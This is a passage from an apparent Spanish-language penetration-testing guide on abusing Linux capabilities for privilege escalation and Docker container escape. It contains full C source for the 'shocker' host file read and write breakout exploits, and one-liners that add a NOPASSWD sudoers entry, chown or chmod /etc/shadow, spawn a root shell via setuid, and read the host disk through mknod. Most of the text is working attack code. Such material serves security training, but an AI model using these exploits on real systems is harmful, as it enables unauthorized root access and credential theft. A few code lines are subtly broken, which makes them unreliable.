tar -cxf shadow.tar.gz

Ejemplo con binary2

En este caso supongamos que el binario python tiene esta capacidad. Para listar archivos de root podrías hacer:

import os
for r, d, f in os.walk('/root'):
for filename in f:
print(filename)

Y para leer un archivo podrías hacer:

print(open("/etc/shadow", "r").read())

Ejemplo en el Entorno (escape de Docker)

Puedes verificar las capacidades habilitadas dentro del contenedor de docker usando:

capsh --print
Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root)

Dentro de la salida anterior, puedes ver que la capacidad DAC_READ_SEARCH está habilitada. Como resultado, el contenedor puede depurar procesos.

Puedes aprender cómo funciona la siguiente explotación en https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3 pero en resumen, CAP_DAC_READ_SEARCH no solo nos permite recorrer el sistema de archivos sin verificaciones de permisos, sino que también elimina explícitamente cualquier verificación para open_by_handle_at(2) y podría permitir que nuestro proceso acceda a archivos sensibles abiertos por otros procesos.

El exploit original que abusa de estos permisos para leer archivos del host se puede encontrar aquí: http://stealth.openwall.net/xSports/shocker.c, la siguiente es una versión modificada que te permite indicar el archivo que deseas leer como primer argumento y volcarlo en un archivo.

#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <dirent.h>
#include <stdint.h>

// gcc shocker.c -o shocker
// ./socker /etc/shadow shadow #Read /etc/shadow from host and save result in shadow file in current dir

struct my_file_handle {
unsigned int handle_bytes;
int handle_type;
unsigned char f_handle[8];
};

void die(const char *msg)
{
perror(msg);
exit(errno);
}

void dump_handle(const struct my_file_handle *h)
{
fprintf(stderr,"[*] #=%d, %d, char nh[] = {", h->handle_bytes,
h->handle_type);
for (int i = 0; i < h->handle_bytes; ++i) {
fprintf(stderr,"0x%02x", h->f_handle[i]);
if ((i + 1) % 20 == 0)
fprintf(stderr,"\n");
if (i < h->handle_bytes - 1)
fprintf(stderr,", ");
}
fprintf(stderr,"};\n");
}

int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle
*oh)
{
int fd;
uint32_t ino = 0;
struct my_file_handle outh = {
.handle_bytes = 8,
.handle_type = 1
};
DIR *dir = NULL;
struct dirent *de = NULL;
path = strchr(path, '/');
// recursion stops if path has been resolved
if (!path) {
memcpy(oh->f_handle, ih->f_handle, sizeof(oh->f_handle));
oh->handle_type = 1;
oh->handle_bytes = 8;
return 1;
}

++path;
fprintf(stderr, "[*] Resolving '%s'\n", path);
if ((fd = open_by_handle_at(bfd, (struct file_handle *)ih, O_RDONLY)) < 0)
die("[-] open_by_handle_at");
if ((dir = fdopendir(fd)) == NULL)
die("[-] fdopendir");
for (;;) {
de = readdir(dir);
if (!de)
break;
fprintf(stderr, "[*] Found %s\n", de->d_name);
if (strncmp(de->d_name, path, strlen(de->d_name)) == 0) {
fprintf(stderr, "[+] Match: %s ino=%d\n", de->d_name, (int)de->d_ino);
ino = de->d_ino;
break;
}
}

fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n");
if (de) {
for (uint32_t i = 0; i < 0xffffffff; ++i) {
outh.handle_bytes = 8;
outh.handle_type = 1;
memcpy(outh.f_handle, &ino, sizeof(ino));
memcpy(outh.f_handle + 4, &i, sizeof(i));
if ((i % (1<<20)) == 0)
fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de->d_name, i);
if (open_by_handle_at(bfd, (struct file_handle *)&outh, 0) > 0) {
closedir(dir);
close(fd);
dump_handle(&outh);
return find_handle(bfd, path, &outh, oh);
}
}
}
closedir(dir);
close(fd);
return 0;
}


int main(int argc,char* argv[] )
{
char buf[0x1000];
int fd1, fd2;
struct my_file_handle h;
struct my_file_handle root_h = {
.handle_bytes = 8,
.handle_type = 1,
.f_handle = {0x02, 0, 0, 0, 0, 0, 0, 0}
};

fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014 [***]\n"
"[***] The tea from the 90's kicks your sekurity again. [***]\n"
"[***] If you have pending sec consulting, I'll happily [***]\n"
"[***] forward to my friends who drink secury-tea too! [***]\n\n<enter>\n");

read(0, buf, 1);

// get a FS reference from something mounted in from outside
if ((fd1 = open("/etc/hostname", O_RDONLY)) < 0)
die("[-] open");

if (find_handle(fd1, argv[1], &root_h, &h) <= 0)
die("[-] Cannot find valid handle!");

fprintf(stderr, "[!] Got a final handle!\n");
dump_handle(&h);

if ((fd2 = open_by_handle_at(fd1, (struct file_handle *)&h, O_RDONLY)) < 0)
die("[-] open_by_handle");

memset(buf, 0, sizeof(buf));
if (read(fd2, buf, sizeof(buf) - 1) < 0)
die("[-] read");

printf("Success!!\n");

FILE *fptr;
fptr = fopen(argv[2], "w");
fprintf(fptr,"%s", buf);
fclose(fptr);

close(fd2); close(fd1);

return 0;
}

El exploit necesita encontrar un puntero a algo montado en el host. El exploit original usó el archivo /.dockerinit y esta versión modificada usa /etc/hostname. Si el exploit no está funcionando, tal vez necesites establecer un archivo diferente. Para encontrar un archivo que esté montado en el host, simplemente ejecuta el comando mount:

El código de esta técnica fue copiado del laboratorio de "Abusing DAC_READ_SEARCH Capability" de https://www.pentesteracademy.com/

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CAP_DAC_OVERRIDE

Esto significa que puedes eludir las verificaciones de permisos de escritura en cualquier archivo, por lo que puedes escribir en cualquier archivo.

Hay muchos archivos que puedes sobrescribir para escalar privilegios, puedes obtener ideas de aquí.

Ejemplo con binario

En este ejemplo, vim tiene esta capacidad, por lo que puedes modificar cualquier archivo como passwd, sudoers o shadow:

getcap -r / 2>/dev/null
/usr/bin/vim = cap_dac_override+ep

vim /etc/sudoers #To overwrite it

Ejemplo con binario 2

En este ejemplo, el binario python tendrá esta capacidad. Podrías usar python para sobrescribir cualquier archivo:

file=open("/etc/sudoers","a")
file.write("yourusername ALL=(ALL) NOPASSWD:ALL")
file.close()

Ejemplo con entorno + CAP_DAC_READ_SEARCH (escape de Docker)

Puedes verificar las capacidades habilitadas dentro del contenedor de docker usando:

capsh --print
Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root)

Primero que nada, lee la sección anterior que abusa de la capacidad DAC_READ_SEARCH para leer archivos arbitrarios del host y compila el exploit. Luego, compila la siguiente versión del exploit shocker que te permitirá escribir archivos arbitrarios dentro del sistema de archivos del host:

#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <dirent.h>
#include <stdint.h>

// gcc shocker_write.c -o shocker_write
// ./shocker_write /etc/passwd passwd

struct my_file_handle {
unsigned int handle_bytes;
int handle_type;
unsigned char f_handle[8];
};
void die(const char * msg) {
perror(msg);
exit(errno);
}
void dump_handle(const struct my_file_handle * h) {
fprintf(stderr, "[*] #=%d, %d, char nh[] = {", h -> handle_bytes,
h -> handle_type);
for (int i = 0; i < h -> handle_bytes; ++i) {
fprintf(stderr, "0x%02x", h -> f_handle[i]);
if ((i + 1) % 20 == 0)
fprintf(stderr, "\n");
if (i < h -> handle_bytes - 1)
fprintf(stderr, ", ");
}
fprintf(stderr, "};\n");
}
int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle *oh)
{
int fd;
uint32_t ino = 0;
struct my_file_handle outh = {
.handle_bytes = 8,
.handle_type = 1
};
DIR * dir = NULL;
struct dirent * de = NULL;
path = strchr(path, '/');
// recursion stops if path has been resolved
if (!path) {
memcpy(oh -> f_handle, ih -> f_handle, sizeof(oh -> f_handle));
oh -> handle_type = 1;
oh -> handle_bytes = 8;
return 1;
}
++path;
fprintf(stderr, "[*] Resolving '%s'\n", path);
if ((fd = open_by_handle_at(bfd, (struct file_handle * ) ih, O_RDONLY)) < 0)
die("[-] open_by_handle_at");
if ((dir = fdopendir(fd)) == NULL)
die("[-] fdopendir");
for (;;) {
de = readdir(dir);
if (!de)
break;
fprintf(stderr, "[*] Found %s\n", de -> d_name);
if (strncmp(de -> d_name, path, strlen(de -> d_name)) == 0) {
fprintf(stderr, "[+] Match: %s ino=%d\n", de -> d_name, (int) de -> d_ino);
ino = de -> d_ino;
break;
}
}
fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n");
if (de) {
for (uint32_t i = 0; i < 0xffffffff; ++i) {
outh.handle_bytes = 8;
outh.handle_type = 1;
memcpy(outh.f_handle, & ino, sizeof(ino));
memcpy(outh.f_handle + 4, & i, sizeof(i));
if ((i % (1 << 20)) == 0)
fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de -> d_name, i);
if (open_by_handle_at(bfd, (struct file_handle * ) & outh, 0) > 0) {
closedir(dir);
close(fd);
dump_handle( & outh);
return find_handle(bfd, path, & outh, oh);
}
}
}
closedir(dir);
close(fd);
return 0;
}
int main(int argc, char * argv[]) {
char buf[0x1000];
int fd1, fd2;
struct my_file_handle h;
struct my_file_handle root_h = {
.handle_bytes = 8,
.handle_type = 1,
.f_handle = {
0x02,
0,
0,
0,
0,
0,
0,
0
}
};
fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014 [***]\n"
"[***] The tea from the 90's kicks your sekurity again. [***]\n"
"[***] If you have pending sec consulting, I'll happily [***]\n"
"[***] forward to my friends who drink secury-tea too! [***]\n\n<enter>\n");
read(0, buf, 1);
// get a FS reference from something mounted in from outside
if ((fd1 = open("/etc/hostname", O_RDONLY)) < 0)
die("[-] open");
if (find_handle(fd1, argv[1], & root_h, & h) <= 0)
die("[-] Cannot find valid handle!");
fprintf(stderr, "[!] Got a final handle!\n");
dump_handle( & h);
if ((fd2 = open_by_handle_at(fd1, (struct file_handle * ) & h, O_RDWR)) < 0)
die("[-] open_by_handle");
char * line = NULL;
size_t len = 0;
FILE * fptr;
ssize_t read;
fptr = fopen(argv[2], "r");
while ((read = getline( & line, & len, fptr)) != -1) {
write(fd2, line, read);
}
printf("Success!!\n");
close(fd2);
close(fd1);
return 0;
}

Para escapar del contenedor de docker, podrías descargar los archivos /etc/shadow y /etc/passwd del host, agregar a ellos un nuevo usuario, y usar shocker_write para sobrescribirlos. Luego, acceder a través de ssh.

El código de esta técnica fue copiado del laboratorio de "Abusing DAC_OVERRIDE Capability" de https://www.pentesteracademy.com

CAP_CHOWN

Esto significa que es posible cambiar la propiedad de cualquier archivo.

Ejemplo con binario

Supongamos que el python binario tiene esta capacidad, puedes cambiar el propietario del archivo shadow, cambiar la contraseña de root, y escalar privilegios:

python -c 'import os;os.chown("/etc/shadow",1000,1000)'

O con el binario ruby teniendo esta capacidad:

ruby -e 'require "fileutils"; FileUtils.chown(1000, 1000, "/etc/shadow")'

CAP_FOWNER

Esto significa que es posible cambiar los permisos de cualquier archivo.

Ejemplo con binario

Si python tiene esta capacidad, puedes modificar los permisos del archivo shadow, cambiar la contraseña de root y escalar privilegios:

python -c 'import os;os.chmod("/etc/shadow",0666)

CAP_SETUID

Esto significa que es posible establecer el id de usuario efectivo del proceso creado.

Ejemplo con binario

Si python tiene esta capacidad, puedes abusar de ella muy fácilmente para escalar privilegios a root:

import os
os.setuid(0)
os.system("/bin/bash")

Otra forma:

import os
import prctl
#add the capability to the effective set
prctl.cap_effective.setuid = True
os.setuid(0)
os.system("/bin/bash")

CAP_SETGID

Esto significa que es posible establecer el id de grupo efectivo del proceso creado.

Hay muchos archivos que puedes sobrescribir para escalar privilegios, puedes obtener ideas de aquí.

Ejemplo con binario

En este caso, deberías buscar archivos interesantes que un grupo pueda leer porque puedes suplantar cualquier grupo:

#Find every file writable by a group
find / -perm /g=w -exec ls -lLd {} \; 2>/dev/null
#Find every file writable by a group in /etc with a maxpath of 1
find /etc -maxdepth 1 -perm /g=w -exec ls -lLd {} \; 2>/dev/null
#Find every file readable by a group in /etc with a maxpath of 1
find /etc -maxdepth 1 -perm /g=r -exec ls -lLd {} \; 2>/dev/null

Una vez que hayas encontrado un archivo que puedes abusar (mediante lectura o escritura) para escalar privilegios, puedes obtener un shell impersonando al grupo interesante con:

import os
os.setgid(42)
os.system("/bin/bash")

En este caso, se impersonó al grupo shadow, por lo que puedes leer el archivo /etc/shadow:

cat /etc/shadow

Si docker está instalado, podrías suplantar el grupo docker y abusar de él para comunicarte con el socket de docker y escalar privilegios.

CAP_SETFCAP

Esto significa que es posible establecer capacidades en archivos y procesos

Ejemplo con binario

Si python tiene esta capacidad, puedes abusar de ella muy fácilmente para escalar privilegios a root:

setcapability.py

import ctypes, sys

#Load needed library
#You can find which library you need to load checking the libraries of local setcap binary
# ldd /sbin/setcap
libcap = ctypes.cdll.LoadLibrary("libcap.so.2")

libcap.cap_from_text.argtypes = [ctypes.c_char_p]
libcap.cap_from_text.restype = ctypes.c_void_p
libcap.cap_set_file.argtypes = [ctypes.c_char_p,ctypes.c_void_p]

#Give setuid cap to the binary
cap = 'cap_setuid+ep'
path = sys.argv[1]
print(path)
cap_t = libcap.cap_from_text(cap)
status = libcap.cap_set_file(path,cap_t)

if(status == 0):
print (cap + " was successfully added to " + path)

python setcapability.py /usr/bin/python2.7

Tenga en cuenta que si establece una nueva capacidad en el binario con CAP_SETFCAP, perderá esta capacidad.

Una vez que tenga la capacidad SETUID, puede ir a su sección para ver cómo escalar privilegios.

Ejemplo con entorno (Docker breakout)

Por defecto, la capacidad CAP_SETFCAP se otorga al proceso dentro del contenedor en Docker. Puede verificar eso haciendo algo como:

cat /proc/`pidof bash`/status | grep Cap
CapInh: 00000000a80425fb
CapPrm: 00000000a80425fb
CapEff: 00000000a80425fb
CapBnd: 00000000a80425fb
CapAmb: 0000000000000000

capsh --decode=00000000a80425fb
0x00000000a80425fb=cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap

Esta capacidad permite dar cualquier otra capacidad a los binarios, por lo que podríamos pensar en escapar del contenedor abusando de cualquiera de las otras salidas de capacidad mencionadas en esta página. Sin embargo, si intentas dar, por ejemplo, las capacidades CAP_SYS_ADMIN y CAP_SYS_PTRACE al binario gdb, descubrirás que puedes darlas, pero el binario no podrá ejecutarse después de esto:

getcap /usr/bin/gdb
/usr/bin/gdb = cap_sys_ptrace,cap_sys_admin+eip

setcap cap_sys_admin,cap_sys_ptrace+eip /usr/bin/gdb

/usr/bin/gdb
bash: /usr/bin/gdb: Operation not permitted

From the docs: Permitted: Este es un superconjunto limitante para las capacidades efectivas que el hilo puede asumir. También es un superconjunto limitante para las capacidades que pueden ser añadidas al conjunto heredable por un hilo que no tiene la capacidad CAP_SETPCAP en su conjunto efectivo. Parece que las capacidades Permitidas limitan las que se pueden usar. Sin embargo, Docker también otorga la CAP_SETPCAP por defecto, por lo que podrías establecer nuevas capacidades dentro de las heredables. Sin embargo, en la documentación de esta capacidad: CAP_SETPCAP : […] agregar cualquier capacidad del conjunto de límites del hilo que llama a su conjunto heredable. Parece que solo podemos agregar al conjunto heredable capacidades del conjunto de límites. Lo que significa que no podemos poner nuevas capacidades como CAP_SYS_ADMIN o CAP_SYS_PTRACE en el conjunto heredado para escalar privilegios.

CAP_SYS_RAWIO

CAP_SYS_RAWIO proporciona una serie de operaciones sensibles, incluyendo acceso a /dev/mem, /dev/kmem o /proc/kcore, modificar mmap_min_addr, acceder a las llamadas al sistema ioperm(2) e iopl(2), y varios comandos de disco. El FIBMAP ioctl(2) también está habilitado a través de esta capacidad, lo que ha causado problemas en el pasado. Según la página del manual, esto también permite al titular realizar una variedad de operaciones específicas de dispositivos en otros dispositivos.

Esto puede ser útil para escalada de privilegios y escape de Docker.

CAP_KILL

Esto significa que es posible matar cualquier proceso.

Ejemplo con binario

Supongamos que el python binario tiene esta capacidad. Si pudieras también modificar alguna configuración de servicio o socket (o cualquier archivo de configuración relacionado con un servicio), podrías ponerle un backdoor, y luego matar el proceso relacionado con ese servicio y esperar a que se ejecute el nuevo archivo de configuración con tu backdoor.

#Use this python code to kill arbitrary processes
import os
import signal
pgid = os.getpgid(341)
os.killpg(pgid, signal.SIGKILL)

Privesc con kill

Si tienes capacidades de kill y hay un programa node ejecutándose como root (o como un usuario diferente), probablemente podrías enviarle la señal SIGUSR1 y hacer que abra el depurador de node al que puedes conectarte.

kill -s SIGUSR1 <nodejs-ps>
# After an URL to access the debugger will appear. e.g. ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d

Node inspector/CEF debug abuse

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CAP_NET_BIND_SERVICE

Esto significa que es posible escuchar en cualquier puerto (incluso en los privilegiados). No puedes escalar privilegios directamente con esta capacidad.

Ejemplo con binario

Si python tiene esta capacidad, podrá escuchar en cualquier puerto e incluso conectarse desde él a cualquier otro puerto (algunos servicios requieren conexiones desde puertos privilegiados específicos)

Escuchar

import socket
s=socket.socket()
s.bind(('0.0.0.0', 80))
s.listen(1)
conn, addr = s.accept()
while True:
output = connection.recv(1024).strip();
print(output)

Conectar

import socket
s=socket.socket()
s.bind(('0.0.0.0',500))
s.connect(('10.10.10.10',500))

CAP_NET_RAW

CAP_NET_RAW la capacidad permite a los procesos crear sockets RAW y PACKET, lo que les permite generar y enviar paquetes de red arbitrarios. Esto puede llevar a riesgos de seguridad en entornos en contenedores, como el spoofing de paquetes, la inyección de tráfico y el eludir los controles de acceso a la red. Los actores maliciosos podrían explotar esto para interferir con el enrutamiento de contenedores o comprometer la seguridad de la red del host, especialmente sin protecciones adecuadas de firewall. Además, CAP_NET_RAW es crucial para que los contenedores privilegiados soporten operaciones como ping a través de solicitudes RAW ICMP.

Esto significa que es posible espiar el tráfico. No puedes escalar privilegios directamente con esta capacidad.

Ejemplo con binario

Si el binario tcpdump tiene esta capacidad, podrás usarlo para capturar información de la red.

getcap -r / 2>/dev/null
/usr/sbin/tcpdump = cap_net_raw+ep

Nota que si el entorno está otorgando esta capacidad, también podrías usar tcpdump para espiar el tráfico.

Ejemplo con binario 2

El siguiente ejemplo es código python2 que puede ser útil para interceptar el tráfico de la interfaz "lo" (localhost). El código es del laboratorio "Los fundamentos: CAP-NET_BIND + NET_RAW" de https://attackdefense.pentesteracademy.com/

import socket
import struct

flags=["NS","CWR","ECE","URG","ACK","PSH","RST","SYN","FIN"]

def getFlag(flag_value):
flag=""
for i in xrange(8,-1,-1):
if( flag_value & 1 <<i ):
flag= flag + flags[8-i] + ","
return flag[:-1]

s = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(3))
s.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 2**30)
s.bind(("lo",0x0003))

flag=""
count=0
while True:
frame=s.recv(4096)
ip_header=struct.unpack("!BBHHHBBH4s4s",frame[14:34])
proto=ip_header[6]
ip_header_size = (ip_header[0] & 0b1111) * 4
if(proto==6):
protocol="TCP"
tcp_header_packed = frame[ 14 + ip_header_size : 34 + ip_header_size]
tcp_header = struct.unpack("!HHLLHHHH", tcp_header_packed)
dst_port=tcp_header[0]
src_port=tcp_header[1]
flag=" FLAGS: "+getFlag(tcp_header[4])

elif(proto==17):
protocol="UDP"
udp_header_packed_ports = frame[ 14 + ip_header_size : 18 + ip_header_size]
udp_header_ports=struct.unpack("!HH",udp_header_packed_ports)
dst_port=udp_header[0]
src_port=udp_header[1]

if (proto == 17 or proto == 6):
print("Packet: " + str(count) + " Protocol: " + protocol + " Destination Port: " + str(dst_port) + " Source Port: " + str(src_port) + flag)
count=count+1

CAP_NET_ADMIN + CAP_NET_RAW

La capacidad CAP_NET_ADMIN otorga al titular el poder de alterar configuraciones de red, incluyendo configuraciones de firewall, tablas de enrutamiento, permisos de socket y configuraciones de interfaces de red dentro de los espacios de nombres de red expuestos. También permite activar el modo promiscuo en las interfaces de red, lo que permite la captura de paquetes a través de los espacios de nombres.

Ejemplo con binario

Supongamos que el binario de python tiene estas capacidades.

#Dump iptables filter table rules
import iptc
import pprint
json=iptc.easy.dump_table('filter',ipv6=False)
pprint.pprint(json)

#Flush iptables filter table
import iptc
iptc.easy.flush_table('filter')

CAP_LINUX_IMMUTABLE

Esto significa que es posible modificar los atributos del inode. No puedes escalar privilegios directamente con esta capacidad.

Ejemplo con binario

Si encuentras que un archivo es inmutable y python tiene esta capacidad, puedes eliminar el atributo inmutable y hacer que el archivo sea modificable:

#Check that the file is imutable
lsattr file.sh
----i---------e--- backup.sh

#Pyhton code to allow modifications to the file
import fcntl
import os
import struct

FS_APPEND_FL = 0x00000020
FS_IOC_SETFLAGS = 0x40086602

fd = os.open('/path/to/file.sh', os.O_RDONLY)
f = struct.pack('i', FS_APPEND_FL)
fcntl.ioctl(fd, FS_IOC_SETFLAGS, f)

f=open("/path/to/file.sh",'a+')
f.write('New content for the file\n')

Tenga en cuenta que generalmente este atributo inmutable se establece y se elimina utilizando:

sudo chattr +i file.txt
sudo chattr -i file.txt

CAP_SYS_CHROOT

CAP_SYS_CHROOT permite la ejecución de la llamada al sistema chroot(2), lo que puede permitir potencialmente la fuga de entornos chroot(2) a través de vulnerabilidades conocidas:

• Cómo escapar de varias soluciones chroot

• chw00t: herramienta de escape chroot

CAP_SYS_BOOT

CAP_SYS_BOOT no solo permite la ejecución de la llamada al sistema reboot(2) para reinicios del sistema, incluidos comandos específicos como LINUX_REBOOT_CMD_RESTART2 adaptados para ciertas plataformas de hardware, sino que también habilita el uso de kexec_load(2) y, a partir de Linux 3.17, kexec_file_load(2) para cargar nuevos o firmados núcleos de falla respectivamente.

CAP_SYSLOG

CAP_SYSLOG se separó de la más amplia CAP_SYS_ADMIN en Linux 2.6.37, otorgando específicamente la capacidad de usar la llamada syslog(2). Esta capacidad permite la visualización de direcciones del núcleo a través de /proc y interfaces similares cuando la configuración kptr_restrict está en 1, que controla la exposición de direcciones del núcleo. Desde Linux 2.6.39, el valor predeterminado para kptr_restrict es 0, lo que significa que las direcciones del núcleo están expuestas, aunque muchas distribuciones establecen esto en 1 (ocultar direcciones excepto de uid 0) o 2 (siempre ocultar direcciones) por razones de seguridad.

Además, CAP_SYSLOG permite acceder a la salida de dmesg cuando dmesg_restrict está configurado en 1. A pesar de estos cambios, CAP_SYS_ADMIN conserva la capacidad de realizar operaciones syslog debido a precedentes históricos.

CAP_MKNOD

CAP_MKNOD extiende la funcionalidad de la llamada al sistema mknod más allá de crear archivos regulares, FIFOs (tuberías con nombre) o sockets de dominio UNIX. Permite específicamente la creación de archivos especiales, que incluyen:

• S_IFCHR: Archivos especiales de caracteres, que son dispositivos como terminales.

• S_IFBLK: Archivos especiales de bloques, que son dispositivos como discos.

Esta capacidad es esencial para procesos que requieren la capacidad de crear archivos de dispositivo, facilitando la interacción directa con el hardware a través de dispositivos de caracteres o bloques.

Es una capacidad predeterminada de docker (https://github.com/moby/moby/blob/master/oci/caps/defaults.go#L6-L19).

Esta capacidad permite realizar escalaciones de privilegios (a través de lectura completa del disco) en el host, bajo estas condiciones:

1. Tener acceso inicial al host (sin privilegios).

2. Tener acceso inicial al contenedor (privilegiado (EUID 0), y efectivo CAP_MKNOD).

3. El host y el contenedor deben compartir el mismo espacio de nombres de usuario.

Pasos para crear y acceder a un dispositivo de bloque en un contenedor:

1. En el Host como un Usuario Estándar:

• Determina tu ID de usuario actual con id, por ejemplo, uid=1000(standarduser).

• Identifica el dispositivo objetivo, por ejemplo, /dev/sdb.

1. Dentro del Contenedor como root:

# Create a block special file for the host device
mknod /dev/sdb b 8 16
# Set read and write permissions for the user and group
chmod 660 /dev/sdb
# Add the corresponding standard user present on the host
useradd -u 1000 standarduser
# Switch to the newly created user
su standarduser

1. De vuelta en el host:

# Locate the PID of the container process owned by "standarduser"
# This is an illustrative example; actual command might vary
ps aux | grep -i container_name | grep -i standarduser
# Assuming the found PID is 12345
# Access the container's filesystem and the special block device
head /proc/12345/root/dev/sdb

Este enfoque permite al usuario estándar acceder y potencialmente leer datos de /dev/sdb a través del contenedor, explotando los espacios de nombres de usuario compartidos y los permisos establecidos en el dispositivo.

CAP_SETPCAP

CAP_SETPCAP permite a un proceso alterar los conjuntos de capacidades de otro proceso, permitiendo la adición o eliminación de capacidades de los conjuntos efectivos, heredables y permitidos. Sin embargo, un proceso solo puede modificar las capacidades que posee en su propio conjunto permitido, asegurando que no puede elevar los privilegios de otro proceso más allá de los suyos. Las actualizaciones recientes del kernel han endurecido estas reglas, restringiendo CAP_SETPCAP a solo disminuir las capacidades dentro de su propio conjunto permitido o el de sus descendientes, con el objetivo de mitigar riesgos de seguridad. Su uso requiere tener CAP_SETPCAP en el conjunto efectivo y las capacidades objetivo en el conjunto permitido, utilizando capset() para modificaciones. Esto resume la función principal y las limitaciones de CAP_SETPCAP, destacando su papel en la gestión de privilegios y la mejora de la seguridad.

CAP_SETPCAP es una capacidad de Linux que permite a un proceso modificar los conjuntos de capacidades de otro proceso. Otorga la capacidad de agregar o eliminar capacidades de los conjuntos de capacidades efectivos, heredables y permitidos de otros procesos. Sin embargo, hay ciertas restricciones sobre cómo se puede utilizar esta capacidad.

Un proceso con CAP_SETPCAP solo puede otorgar o eliminar capacidades que están en su propio conjunto de capacidades permitido. En otras palabras, un proceso no puede otorgar una capacidad a otro proceso si no tiene esa capacidad por sí mismo. Esta restricción evita que un proceso eleve los privilegios de otro proceso más allá de su propio nivel de privilegio.

Además, en versiones recientes del kernel, la capacidad CAP_SETPCAP ha sido further restricted. Ya no permite que un proceso modifique arbitrariamente los conjuntos de capacidades de otros procesos. En cambio, solo permite que un proceso reduzca las capacidades en su propio conjunto de capacidades permitido o en el conjunto de capacidades permitido de sus descendientes. Este cambio se introdujo para reducir los riesgos de seguridad potenciales asociados con la capacidad.

Para usar CAP_SETPCAP de manera efectiva, necesitas tener la capacidad en tu conjunto de capacidades efectivo y las capacidades objetivo en tu conjunto de capacidades permitido. Luego puedes usar la llamada al sistema capset() para modificar los conjuntos de capacidades de otros procesos.

En resumen, CAP_SETPCAP permite a un proceso modificar los conjuntos de capacidades de otros procesos, pero no puede otorgar capacidades que no tiene. Además, debido a preocupaciones de seguridad, su funcionalidad ha sido limitada en versiones recientes del kernel para permitir solo la reducción de capacidades en su propio conjunto de capacidades permitido o en los conjuntos de capacidades permitidos de sus descendientes.

Referencias

La mayoría de estos ejemplos fueron tomados de algunos laboratorios de https://attackdefense.pentesteracademy.com/, así que si quieres practicar estas técnicas de privesc, te recomiendo estos laboratorios.

Otras referencias:

• https://vulp3cula.gitbook.io/hackers-grimoire/post-exploitation/privesc-linux

• https://www.schutzwerk.com/en/43/posts/linux_container_capabilities/#:~:text=Inherited%20capabilities%3A%20A%20process%20can,a%20binary%2C%20e.g.%20using%20setcap%20.

• https://linux-audit.com/linux-capabilities-101/

• https://www.linuxjournal.com/article/5737

• https://0xn3va.gitbook.io/cheat-sheets/container/escaping/excessive-capabilities#cap_sys_module

• https://labs.withsecure.com/publications/abusing-the-access-to-mount-namespaces-through-procpidroot

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